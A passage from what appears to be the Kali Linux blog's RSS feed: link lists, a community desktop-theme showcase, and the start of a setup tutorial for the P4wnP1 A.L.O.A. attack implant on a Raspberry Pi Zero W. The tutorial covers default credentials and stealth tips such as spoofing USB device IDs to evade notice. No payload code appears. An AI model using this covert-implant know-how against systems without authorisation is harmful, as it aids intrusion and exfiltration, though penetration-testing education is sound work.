&lt;p>&lt;strong>Wi-Fi in initramfs&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/unixabg/cryptmypi/blob/master/hooks/0000-experimental-initramfs-wifi.hook">Cryptmypi Experimental WiFi initramfs hook&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.marcfargas.com/posts/enable-wireless-debian-initramfs">Enable Wireless networks in Debian Initramfs&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://retinal.dehy.de/docs/doku.php?id=technotes:raspberryrootnfs">Raspberry Pi Zero W with the root FS mounted over NFS&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://wiki.archlinux.org/title/Dm-crypt/Specialties#Remote_unlock_via_WiFi">Remote Unlock via WiFi&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Setting up hostapd&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://raspberrypi.com/documentation/computers/configuration.html#setting-up-a-bridged-wireless-access-point">Raspberry Pi Documentation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://0x72326432.com/posts/perstapsk_en/">Per station WPA2 PSK with hostapd&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Kali Community Themes</title><link>https://www.kali.org/blog/kali-community-themes/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-community-themes/</guid><pubDate>Mon, 24 Oct 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-community-themes/images/kali-community-themes-banner.jpg" type="image/jpg"/><description>
&lt;div class="notices info">
&lt;p data-header="Info">
The following blog post was written by a moderator on the &lt;a href="https://discord.kali.org/">Kali Linux &amp;amp; Friends&lt;/a> Discord server, Tristram. A massive thank you to Tristram for writing this blog post and to all of the participants!
&lt;/p>
&lt;/div>
&lt;p>This past summer we held our first community event on the &lt;a href="https://discord.kali.org/">Kali Linux &amp;amp; Friends&lt;/a> Discord. With this event, we asked everyone who wanted to participate to share their Kali Linux setup. With each submission, the community had to select their favorite by adding the &lt;code>:kali4kids:&lt;/code> emoji (Shown below). The five submissions with the most &lt;code>:kali4kids:&lt;/code> emojis were deemed the winner.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-community-themes/images/kali4kids.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-community-themes/images/kali4kids.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The community has spoken and we are happy to showcase the following setups. The author of each setup has provided us with a little blurb to get to know them a little more, as well as their setup.&lt;/p>
&lt;h2 id="zephyfoxy5208">ZephyFoxy#5208&lt;/h2>
&lt;p>I am a senior security consultant working for a large, multinational consulting firm. I conduct pentests in a variety of different fields, and have been working in Android malware analysis for the last year. I hold the OSCP and OSEP certifications, and I will be working towards OSED and OSWE in the near future. I chose this setup for my Kali Linux because I personally prefer a colourful environment that really stands out.&lt;/p>
&lt;p>The customization to the terminal comes from the need to reference my IP address for things such as reverse shells or file transfers. You can find a copy of my &lt;code>~/.zshrc&lt;/code> on my &lt;a href="https://github.com/purpl3f0xsecur1ty/useful_random_stuff/blob/main/.zshrc">GitHub&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-community-themes/images/ZephyFoxy.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-community-themes/images/ZephyFoxy.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;h2 id="tachyglossues2480">tachyglossues#2480&lt;/h2>
&lt;p>I&amp;rsquo;m a French student who likes to tinker and understand how computers work especially on the software side and I&amp;rsquo;ve been using Kali for about a year and a half.&lt;/p>
&lt;p>The program I wrote works by running &lt;code>top&lt;/code> to get the list of software running on the session with the RAM and CPU they use and after that a python dependency that is used to generate word clouds is used with a mask of the kali4kids logo to give the shape and colour and this mask is a simple .png file. I made this program because I like to have a wallpaper that I made and also I like minimalist wallpapers and it can be useful. You can find a copy on my &lt;a href="https://github.com/tachyglossues/wallpaper-process-wordcloud">GitHub&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-community-themes/images/tachyglossues.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-community-themes/images/tachyglossues.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="fumenoid9548">fumenoid#9548&lt;/h2>
&lt;p>Hi, I am fume. I have recently graduated from uni and I am working as a penetration tester. Aside from my job, I also like to develop challenges for CTF events. My time sinks are anime, manga, and at times I also play CS:GO.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/xct/kali-clean">XCT i3 kali setup script&lt;/a>
I love Kali Linux, it has always been one of my favourite penetration testing distros. My Kali setup is highly inspired from &lt;a href="https://github.com/xct/kali-clean">xct&amp;rsquo;s Kali setup&lt;/a>, so I use &lt;a href="https://pkg.kali.org/pkg/i3-gaps">kali-i3 gaps&lt;/a> as my desktop environment with &lt;a href="https://pkg.kali.org/pkg/rust-alacritty-terminal">alacritty&lt;/a> as my terminal emulator. I use Zsh and have customized it with oh-my-zsh (theme: &lt;code>agnoster&lt;/code>). I have done further additions to the i3 bar and have added custom shortcuts in configs to organize my workflow. I am also using &lt;a href="https://pkg.kali.org/pkg/ranger">ranger&lt;/a> as my command line file manager and &lt;a href="https://pkg.kali.org/pkg/btop">btop&lt;/a> for rice. A pretty slick thing about ranger is that it also has the same shortcuts as &lt;a href="https://pkg.kali.org/pkg/vim">vim&lt;/a>. And yes I believe in vim supremacy :P. Also, I am using megumi&amp;rsquo;s picture as my wallpaper, the best girl right?&lt;/li>
&lt;/ul>
&lt;p>I don&amp;rsquo;t have scripts or dot-files publicly available for my setup but here are some resources that might help y&amp;rsquo;all to build a similar/better setup.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/xct/kali-clean">XCT i3 kali setup script&lt;/a>
&lt;ul>
&lt;li>I would recommend reading the script and using it as a base but please don&amp;rsquo;t blindly execute it if you aren&amp;rsquo;t aware of what you are doing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=8-S0cWnLBKg">Alex Booker YouTube videos on i3wm:&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=L6Vu7WPkoJo">Luke Smith&amp;rsquo;s YouTube videos on Ranger and Vim&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Feel free to reach out to me on the Kali Linux discord if you have further questions :D&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-community-themes/images/fumenoid.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-community-themes/images/fumenoid.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-community-themes/https://www.youtube-nocookie.com/embed/8-S0cWnLBKg?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-community-themes/https://www.youtube-nocookie.com/embed/L6Vu7WPkoJo?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;hr>
&lt;h2 id="leo-tornado4019">leo-tornado#4019&lt;/h2>
&lt;p>My name is Ahmed and I am 17 years old. I study mathematics and have a passion for cyber security. I am interested in making my own desktop as it encourages me to keep working. I can&amp;rsquo;t explain it but when you open the computer and find something you made, it inspires you to keep learning more. I don&amp;rsquo;t have links to share, but anyone can do this so you just have to be a little creative. It was a good competition, thank you for organizing.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-community-themes/images/leo-tornado.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-community-themes/images/leo-tornado.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;h2 id="_henry_3058">_Henry_#3058&lt;/h2>
&lt;p>Hey guys, I&amp;rsquo;m Henry. I&amp;rsquo;m currently a &amp;ldquo;Cybersecurity Engineer&amp;rdquo; by day, and a bad PEN-300 student by night (I really need to get those labs done). You might have interacted with me in a Discord livestream, or maybe peeped one of my (admittedly few) walk-through videos on my &lt;a href="https://www.youtube.com/channel/UCIFrSJrAxgC86z19u6W1H8Q">YouTube channel&lt;/a>. While I am not the greatest among us, I take enjoyment in helping others fulfil their potential and achieve their goals, pentesting or otherwise.&lt;/p>
&lt;p>Regarding my build, while I half entered the competition as a joke, I unironically REALLY like the default Kali terminal. The only modification I&amp;rsquo;ve made is I&amp;rsquo;ve changed the key bindings of moving between split terminals from &amp;ldquo;&lt;strong>Alt + Arrow Key&lt;/strong>&amp;rdquo; to &amp;ldquo;&lt;strong>Shift + Arrow Key&lt;/strong>&amp;rdquo; because the &lt;code>alt&lt;/code> movement would break on me from time to time. Outside of just enjoying the default terminal, font, and syntax highlighting, I am used to the default theme, so whether I am on an assessment with a fresh Kali install, looking at a friend&amp;rsquo;s screen, or helping someone troubleshoot their machine, the terminal looking back at me is almost always a familiar (and pretty) face.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-community-themes/images/Henry.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-community-themes/images/Henry.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;h2 id="wrapping-up">Wrapping Up&lt;/h2>
&lt;p>We hope that these submissions inspire you to help bring a piece of yourself to your Kali Linux system. Come join us over at &lt;a href="https://discord.kali.org/">Kali Linux &amp;amp; Friends&lt;/a> and be a part of our growing community to grow and learn from one another.&lt;/p></description></item><item><title>Community Showcase: Raspberry Pi Zero W P4wnP1 A.L.O.A.</title><link>https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/</link><guid isPermaLink="true">https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/</guid><pubDate>Thu, 13 Oct 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/kali-p4wnp1-banner.jpg" type="image/jpg"/><description>&lt;p>The Kali community has been hard at work (as always!), and we want to showcase what we think is a very cool project of Kali Linux on a &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w/">Raspberry Pi Zero W&lt;/a>, the &amp;ldquo;&lt;strong>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w-p4wnp1-aloa/">P4wnP1 A.L.O.A.&lt;/a>&lt;/strong> (&lt;strong>A&lt;/strong> &lt;strong>L&lt;/strong>ittle &lt;strong>O&lt;/strong>ffensive &lt;strong>A&lt;/strong>pplication)&amp;rdquo;.&lt;/p>
&lt;p>It takes the standard Kali Linux image and adds custom software and some extra firmware designed for the Raspberry Pi Zero W to turn it into a &lt;strong>Swiss Army knife of attacks and exfiltration&lt;/strong>.&lt;/p>
&lt;p>This blog post will be a &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#using-the-p4wnp1-aloa">brief overview&lt;/a> of how to get started using the web interface, &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#creating-our-own-trigger">setting up a trigger&lt;/a> as well as &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#installing-a-package-when-connected-in-client-mode">installing additional packages&lt;/a> found in Kali Linux.
There is a lot more to P4wnP1 than this blog post goes over, which is why we have included &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#other-resources">additional reading material&lt;/a> from the community which cover additional attack scenarios as well as more payloads that people have written if you want to go deeper!&lt;/p>
&lt;p>If you have a Raspberry Pi Zero W, we highly recommend giving this image a try.
We see this as a great tool in any tester&amp;rsquo;s toolkit!&lt;/p>
&lt;h2 id="shopping-list">Shopping List&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w/">Raspberry Pi Zero W&lt;/a> &lt;em>(&lt;strong>not&lt;/strong> Zero 2 W)&lt;/em>&lt;/li>
&lt;li>Raspberry Pi Zero W &lt;a href="https://www.makerfocus.com/products/usb-type-a-adapter-board-for-raspberry-pi-zero-w">USB-A Add-on Board&lt;/a> (optional but recommended)&lt;/li>
&lt;li>MicroUSB to USB-A cable (required if you are not using the above add-on board)&lt;/li>
&lt;li>MicroSD card (32GB or larger)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/get-kali/">Kali Linux Raspberry Pi Zero W P4wnP1 A.L.O.A.&lt;/a> image&lt;/li>
&lt;/ul>
&lt;h2 id="setting-up-to-get-down-to-business">Setting Up To Get Down To Business&lt;/h2>
&lt;p>First thing, download the &lt;a href="https://www.kali.org/get-kali/#kali-arm">Kali P4wnP1 A.L.O.A. image&lt;/a>.
&lt;em>At the time of writing, the current version is 2022.3:&lt;/em>&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~/Downloads$ ls
kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>We will verify the download as well, by going back to the download page and clicking on the &lt;code>sum&lt;/code> link on the &lt;strong>Raspberry Pi Zero W (P4wnP1 A.L.O.A)&lt;/strong> line to get the SHA256 checksum:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~/Downloads$ echo &amp;quot;210635bb3dc7876b638a7035cd4dc60e0b134b19a6aec42a75f5995036b45840 kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz&amp;quot; | sha256sum -c
kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz: OK
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now that we have verified that we have downloaded the file and it matches, we write it to the microSD card, which on &lt;strong>our system&lt;/strong> is &lt;code>/dev/sdb&lt;/code> - on &lt;strong>your system this may be different&lt;/strong>, &lt;strong>do NOT just copy and paste&lt;/strong> what we have put here, because you &lt;strong>WILL&lt;/strong> overwrite whatever you have on your system&amp;rsquo;s &lt;code>/dev/sdb&lt;/code> if you do.&lt;/p>
&lt;p>The &lt;code>xzcat&lt;/code> command will open the compressed image file and pipe it to the &lt;code>dd&lt;/code> command, which will do the actual writing to the microSD card. The use of &lt;code>xzcat&lt;/code> is a quick trick, as it removes having to actually uncompress the image first:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~/Downloads$ xzcat kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz | sudo dd of=/dev/sdb bs=1M status=progress
[sudo] password for kali:
6421807104 bytes (6.4 GB, 6.0 GiB) copied, 101 s, 63.6 MB/s
0+577993 records in
0+577993 records out
6442450944 bytes (6.4 GB, 6.0 GiB) copied, 162.961 s, 39.5 MB/s
&lt;/code>&lt;/pre>
&lt;div class="notices info">
&lt;p data-header="Info">
The speeds above are on our system, these will differ based on your system and the speed of the microSD card that you are using.
&lt;/p>
&lt;/div>
&lt;hr>
&lt;p>Now that this is done, we can unplug the microSD card from the machine, and plug it in to our Raspberry Pi Zero W.
If you are using a USB-A adapter similar to what we linked to in the &amp;ldquo;&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#shopping-list">shopping list&lt;/a>&amp;rdquo; section, you can plug it in to your computer to power it on, otherwise power the Raspberry Pi Zero W via the micro port as usual.&lt;/p>
&lt;p>Since the first boot of Kali Linux will do things like resize the filesystem, and set up the &lt;a href="https://www.kali.org/docs/introduction/default-credentials/">default credentials&lt;/a> (user: &lt;code>kali&lt;/code>, password: &lt;code>kali&lt;/code>) the timing will vary based on microSD card speed.&lt;/p>
&lt;h2 id="using-the-p4wnp1-aloa">Using the P4wnP1 A.L.O.A.&lt;/h2>
&lt;p>Once it is booted, you will know everything is &lt;strong>ready to go, when you see the default wireless network&lt;/strong>: &lt;code>💥🖥💥 Ⓟ➃ⓌⓃ🅟❶&lt;/code>.
&lt;em>Handy if you do not have an HDMI monitor plugged in!&lt;/em>&lt;/p>
&lt;p>Select the above SSID, and then we login with the &lt;strong>password&lt;/strong>: &lt;code>MaMe82-P4wnP1&lt;/code>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/select-network-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/select-network-1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>Now that we are connected, we should see our wireless device is connected and has an IP address in the &lt;code>172.24.0.xxx/24&lt;/code> range:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ ip a
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: wlan0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP group default qlen 4096
link/ether 00:03:7f:12:1f:ae brd ff:ff:ff:ff:ff:ff
inet 172.24.0.12/24 brd 172.24.0.255 scope global dynamic noprefixroute wlan0
valid_lft 297sec preferred_lft 297sec
&lt;/code>&lt;/pre>
&lt;p>We can see that the IP address of our &lt;code>wlan0&lt;/code> adapter is &lt;code>172.24.0.12&lt;/code>, so &lt;strong>we are connected&lt;/strong>!
Since we are successfully connected, lets pull up the web interface in our browser.&lt;/p>
&lt;p>The &lt;strong>default IP&lt;/strong> address of the P4wnP1 A.L.O.A image is &lt;code>172.24.0.1&lt;/code> and the service listens on port &lt;code>8000&lt;/code> so we go to &lt;a href="http://172.24.0.1:8000/">http://172.24.0.1:8000/&lt;/a> in our browser.&lt;/p>
&lt;hr>
&lt;p>Upon login we can see the list at the top: &lt;strong>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#usb-settings">USB Settings&lt;/a>&lt;/strong>, &lt;strong>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#Wi-Fi-settings">Wi-Fi Settings&lt;/a>&lt;/strong>, &lt;strong>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#bluetooth">Bluetooth&lt;/a>&lt;/strong>, &lt;strong>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#network-settings">Network Settings&lt;/a>&lt;/strong>, &lt;strong>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#trigger-actions">Trigger Actions&lt;/a>&lt;/strong>, &lt;strong>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#hidscript">HIDScript&lt;/a>&lt;/strong>, &lt;strong>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#event-log">Event Log&lt;/a>&lt;/strong> and &lt;strong>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#generic-settings">Generic Settings&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-default.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-default.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>One quick thing to note as we are going through the interface below. Under the navigation menu, each section has various buttons, depending on what screen is currently being shown. A legend for what these buttons mean:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Name&lt;/th>
&lt;th>What it does&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Deploy&lt;/td>
&lt;td>Activate&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Deploy Stored&lt;/td>
&lt;td>Load something that is saved, and activate it&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Reset&lt;/td>
&lt;td>Return to default settings&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Store&lt;/td>
&lt;td>Save&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Load Stored&lt;/td>
&lt;td>Load something that has been saved&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Run&lt;/td>
&lt;td>Run the current HID Script&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Load &amp;amp; Replace&lt;/td>
&lt;td>Load a saved HID Script and Replace the current contents with it&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Load &amp;amp; Prepend&lt;/td>
&lt;td>Load a saved HID Script, and add it to the beginning of the current script&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="usb-settings">USB Settings&lt;/h4>
&lt;p>Here we can &lt;strong>change the Vendor ID (VID)&lt;/strong> &amp;amp; &lt;strong>Product ID (PID) of the device&lt;/strong>, so if you want to pretend to be a specific storage device, you can!
You can also alter &lt;strong>Manufacturer Name&lt;/strong> &amp;amp; &lt;strong>Product Name&lt;/strong>, as well as the &lt;strong>serial number&lt;/strong> if you really want to clone a certain device.
&lt;em>Great if you are trying to be stealthy and have done your homework by scoping out the environment.&lt;/em>&lt;/p>
&lt;p>You can also change various other settings to alter the behavior of how the USB device acts (allowing for keyboard, mouse, network support, mass storage, and even serial)!&lt;/p>
&lt;p>&lt;em>A nice resource to point out here is &lt;a href="http://www.linux-usb.org/usb-ids.html">The USB ID Repository&lt;/a>, which is a large database of known values used for USB devices.&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-default.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-default.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="wi-fi-settings">Wi-Fi Settings&lt;/h4>
&lt;p>The Wi-Fi settings allows you &lt;strong>change the Wi-Fi SSID network name&lt;/strong>, &lt;strong>password&lt;/strong> (aka Pre Shared Key, PSK) as well as the &lt;strong>channel&lt;/strong> which is being used.
By altering these values, you can start to blend into the background by being less distinctive &lt;em>(and more secure by not using default credentials)&lt;/em>!&lt;/p>
&lt;p>To apply the settings, you will click on the &amp;ldquo;Deploy&amp;rdquo; button. Keep in mind, when you change the settings and hit &amp;ldquo;Deploy&amp;rdquo; you will be disconnected and need to reconnect with your new settings.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-wifi-settings.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-wifi-settings.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The default Wi-Fi mode is &lt;strong>Access Point (AP)&lt;/strong>, which allows for other devices to connect to P4wnP1&amp;rsquo;s wireless network.&lt;/p>
&lt;p>Alternatively, you can also set the P4wnP1 to be a &lt;strong>client&lt;/strong> (client mode) on the network, instead of a AP. Using the pre-defined configurations, P4wnP1 will then connect to the network and behave like another device on the network.&lt;/p>
&lt;p>The final option, &lt;strong>Client with Fallover to AP&lt;/strong>, gives you the &amp;ldquo;best of both worlds&amp;rdquo; as P4wnP1 will attempt to connect as a client, and if that fails, then switch to being a Access Point. Neat!&lt;/p>
&lt;p>For example, we will set it up in this fall over mode. So if the &lt;code>kali Wi-Fi network&lt;/code> is in range and has the correct key, it should connect to that as a client, if not, if we are not in range, or it cannot see it, it will start up the access point &lt;code>network&lt;/code>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-wifi-client-with-failover-ap.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-wifi-client-with-failover-ap.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>If the airwaves are being monitored, you can simply disable the Wi-Fi network as well.&lt;/p>
&lt;h4 id="bluetooth">Bluetooth&lt;/h4>
&lt;p>Moving on, we have the Bluetooth settings.&lt;/p>
&lt;p>In this section, we can enable or disable Bluetooth.
If &lt;strong>discoverable&lt;/strong>, we can set the &lt;strong>Bluetooth name&lt;/strong>, (with the default being &lt;code>P4wnP1&lt;/code>).
We can also set the &lt;strong>Bluetooth PIN&lt;/strong> used to connect (the default PIN is &lt;code>1337&lt;/code>) - PIN is only used if &amp;ldquo;Secure Simple Pairing (SSP)&amp;rdquo; is turned off.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-bluetooth.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-bluetooth.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>For the Bluetooth network settings, the &lt;strong>P&lt;/strong>ersonal &lt;strong>A&lt;/strong>rea &lt;strong>N&lt;/strong>etwork profile (PAN) is used. Keep in mind that you typically have a range of 10 meters (33 ft) with Bluetooth connections.&lt;/p>
&lt;p>Some quick definitions for people who may not be familiar with Bluetooth Personal Area Network profiles:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Profile&lt;/th>
&lt;th>Definition&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>PANU&lt;/td>
&lt;td>Peer-to-Peer connection (one to one)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PAN-GN&lt;/td>
&lt;td>Group Ad-hoc Network (GN) of up to 8 devices&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PAN-NAP&lt;/td>
&lt;td>Network Aggregation Point (NAP) can bridge the Bluetooth connection to the wireless connection&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>So if you set the P4wnP1 to be in PAN-NAP (the default), you can connect up to 10 devices to the P4wnP1 over Bluetooth and share its network connection that way.&lt;/p>
&lt;p>If you were to set it up with PAN-GN, then up to 7 additional devices could connect to the P4wnP1, and can communicate with each other but there is no Internet access.&lt;/p>
&lt;p>And if you were to use PANU, then you can only transfer data between the device connected to the P4wnP1 and the P4wnP1 itself.&lt;/p>
&lt;h4 id="network-settings">Network Settings&lt;/h4>
&lt;p>The next tab is Network Settings, where we can change the options for the &lt;strong>different ways of connecting to the P4wnP1&lt;/strong>.&lt;/p>
&lt;p>You can connect via &lt;strong>Bluetooth (bteth)&lt;/strong>, &lt;strong>USB (usbeth)&lt;/strong>, or as we currently are, via &lt;strong>Wi-Fi (wlan0)&lt;/strong>.&lt;/p>
&lt;p>To make any changes, you select the interface, and make the change for that interface, including using &lt;strong>DHCP&lt;/strong> or setting &lt;strong>static IP&lt;/strong> values.
You can also alter some DHCP options here. Under the hood, &lt;a href="https://manpages.debian.org/testing/dnsmasq-base/dnsmasq.8.en.html">dnsmasq&lt;/a> is being used.&lt;/p>
&lt;p>For example, you may wish to have Wi-Fi set to client mode, using the network DHCP server and have Bluetooth enabled as a fallback interface, which is running a DHCP server.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-network-settings.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-network-settings.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="trigger-actions">Trigger Actions&lt;/h4>
&lt;p>Now we have triggers.&lt;/p>
&lt;p>Triggers are the main way of doing things with the P4wnP1, when certain conditions are met. You can &lt;strong>think of a trigger action as a payload&lt;/strong>. Whatever you set up here, &lt;strong>if the conditions are met, the actions you set happen&lt;/strong>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-actions.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-actions.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
